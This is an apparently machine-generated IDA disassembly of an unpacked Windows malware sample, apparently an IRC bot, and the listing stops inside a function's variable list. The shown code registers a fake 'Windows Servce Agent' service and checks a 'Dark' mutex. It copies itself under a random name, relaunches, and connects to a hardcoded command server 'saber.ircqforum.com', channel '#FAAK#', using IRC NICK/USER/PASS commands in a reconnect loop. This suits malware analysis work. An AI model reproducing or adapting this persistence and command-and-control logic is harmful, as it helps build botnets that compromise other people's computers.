;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	49F9068010F836838F39074A445BE44E

; File Name   :	u:\work\49f9068010f836838f39074a445be44e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF58
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAFC8
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF08

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF80
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEEC
		call	dword_4CB03C
		call	sub_40B2BF
		call	dword_4CAEFC
		call	dword_4CAEFC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D158
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2660AB7h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2650BA1h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D150
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACE0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACE4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB050
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 2680230h
		push	eax
		call	near ptr 268016Dh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAF14
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2660AB7h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		push	eax
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293F4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2670E4Ch
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 2670D30h
		nop

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 2670914h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2670D30h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D158
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 267084Ch
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 26702E7h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293E0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2650BA1h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 2670000h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAEFC
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB2C4, 2
		jle	short loc_401562
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 268016Dh
		push	esi
		nop
		call	near ptr 26508EFh
		mov	eax, dword_4DB2C8
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+8]
		nop
		call	near ptr 2670230h

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB074, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D160
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_4293A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_401622
		call	near ptr 2670914h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429360
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429334
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_40169A
		call	near ptr 2670914h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_429300
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		mov	dword_4CAE58, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD6C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CADAC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE40, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACE8
		mov	dword_4CAE54, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE54, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 2670000h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAEFC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEF8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEEC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB03C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 2670000h
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293FC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB03C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE50, bl
		jz	short loc_40199A
		push	offset byte_4CAE50
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB03C
		push	1388h
		nop
		call	near ptr 2670000h

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 2670000h
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
